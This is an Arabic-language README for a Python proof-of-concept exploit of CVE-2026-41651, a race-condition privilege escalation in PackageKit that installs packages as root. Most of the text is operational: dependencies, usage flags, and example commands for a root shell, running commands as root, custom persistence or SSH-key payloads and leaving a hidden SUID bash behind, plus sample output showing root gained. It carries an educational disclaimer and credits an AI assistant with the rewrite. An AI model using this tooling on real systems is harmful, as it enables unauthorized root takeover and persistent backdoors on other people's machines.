
استغلال Python كإثبات المفهوم لـ CVE-2026-41651، وهو تصعيد امتيازات محلي من نوع TOCTOU في PackageKit يسمح للمستخدمين غير المميزين بتثبيت الحزم كجذر. يتضمن وضع الفحص، دعم الحمولة المخصصة، ومُسقط bash ذو SUID.
Python PoC لاستغلال ثغرة TOCTOU لتصعيد الصلاحيات المحلية في PackageKit. يمكن لأي مستخدم محلي غير متميز تثبيت حزم عشوائية كجذر دون مصادقة.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-41651 |
| المكون | PackageKit daemon (packagekitd) |
| الإصدارات المتأثرة | 1.0.2 – 1.3.4 |
| تم الإصلاح في | 1.3.5 |
| التأثير | تصعيد الصلاحيات المحلية → الجذر |
هذه الأداة مقدمة لأغراض التعليم وأبحاث الأمن المصرح بها فقط.
نظام التشغيل المعرض للخطر: أي توزيعة لينكس تشغل PackageKit >= 1.0.2 <= 1.3.4.
حدود PoC: أداة بناء الحزم المدمجة تنتج ملفات
.debفقط، لذلك يتطلب البرنامج النصي مضيف Debian/Ubuntu ليعمل كما هو. على الأنظمة المبنية على RPM، قدم حمولة postinst مخصصة عبر--payload-scriptوتأكد من توفرdpkg/dpkg-dev، أو قم بتكييف أداة البناء.
Python: 3.6+
حزم النظام (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
ملاحظة حول التبعيات:
python3-dbusوpython3-giليسا جزءًا من مكتبة Python القياسية، لكنهما موجودان دائمًا تقريبًا على أي جهاز يعمل بواجهة رسومية (GNOME، KDE، XFCE، إلخ)، لأن هذه البيئات تعتمد عليهما مباشرة. على تثبيت Ubuntu Desktop القياسي، تتوفر كلتا المكتبتين دون أي تثبيت يدوي. على خادم بسيط بدون واجهة رسومية، قد لا تكونان موجودتين، لذا في هذه الحالة يتطلبapt installأعلاه صلاحيات sudo، وهو ما يتعارض مع سياق LPE. عمليًا، أي جهاز يشغل PackageKit مع جلسة سطح مكتب سيكون لديه هذه التبعيات مستوفاة بالفعل.
gir1.2-glib-2.0يوفر ملفات مكتبة أنواع GObject Introspection لـ GLib.python3-giهو محرك الربط بلغة Python، لكنه يحتاج إلى ملفات مكتبة الأنواع هذه لمعرفة كيفية التواصل مع GLib تحديدًا. بدون هذه الحزمة، ستفشلfrom gi.repository import GLibحتى لو تم تثبيتpython3-gi. كلاهما يتم سحبهما تلقائيًا بواسطة أي سطح مكتب قائم على GNOME.
ملاحظة حول محاولة الاعتماد على المكتبة القياسية فقط: حاولت نسخة سابقة من هذا PoC إزالة هذه التبعيات تمامًا عن طريق استبدال استدعاءات D-Bus بعمليات فرعية
gdbus/dbus-send، ثم عن طريق التحدث ببروتوكول D-Bus السلكي مباشرة عبر مقبس Unix. فشل كلا الأسلوبين في تشغيل سباق TOCTOU بشكل موثوق: استدعاء عمليات خارجية يضيف زمن استجابة كافٍ بين استدعاءيInstallFilesبحيث يعالج PackageKit الخطوة 1 قبل وصول الخطوة 2، مما يكسر السباق. يقوم ربطdbus-pythonبإرسال كلا الاستدعاءين بطريقة "أطلق وانسى" على نفس المقبس المفتوح بالفعل دون أي حمل زائد من fork، وهذا ما يجعل التوقيت يعمل. تم التراجع عن الإصدار الذي يعتمد على المكتبة القياسية فقط لهذا السبب.
تحقق من إصدار PackageKit (بدون الـ PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
أمثلة:
# التحقق مما إذا كان الهدف معرضًا للخطر (بدون استغلال)
python3 cve-2026-41651.py --check
# استغلال كامل → شيل جذر تفاعلي
python3 cve-2026-41651.py
# تشغيل أمر واحد كجذر
python3 cve-2026-41651.py --exec "id"
# حمولة مخصصة (إزراع، حقن مفتاح SSH...)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# الاحتفاظ بـ bash SUID بعد الخروج، مسار مخصص
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# وضع سكريبتي / سريع
python3 cve-2026-41651.py --timeout 60 --quiet
المخرجات المتوقعة:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
استنادًا إلى PoC الأصلي بلغة C بواسطة Vozec. هذه إعادة كتابة بلغة Python من أجل قابلية النقل. كل الفضل في تقنية الاستغلال يعود للمؤلف الأصلي.
تم تطوير إعادة الكتابة بلغة Python بمساعدة Claude (Anthropic).
| العلم | الوصف |
|---|
--check | استعلام عن إصدار PackageKit والإبلاغ عن الثغرة، ثم الخروج |
--exec CMD | تشغيل أمر واحد كجذر بدلاً من فتح شيل تفاعلي |
--payload-script FILE | استخدام سكريبت postinst مخصص بدلاً من أداة إسقاط bash SUID المدمجة |
--suid-path PATH | أين يتم وضع bash SUID (الافتراضي: /tmp/.suid_bash) |
--no-cleanup | الاحتفاظ بـ bash SUID بعد خروج الشيل |
--timeout N | الثواني للاستقصاء عن bash SUID (الافتراضي: 120) |
--quiet | إخفاء مخرجات التقدم (للسكريبتات) |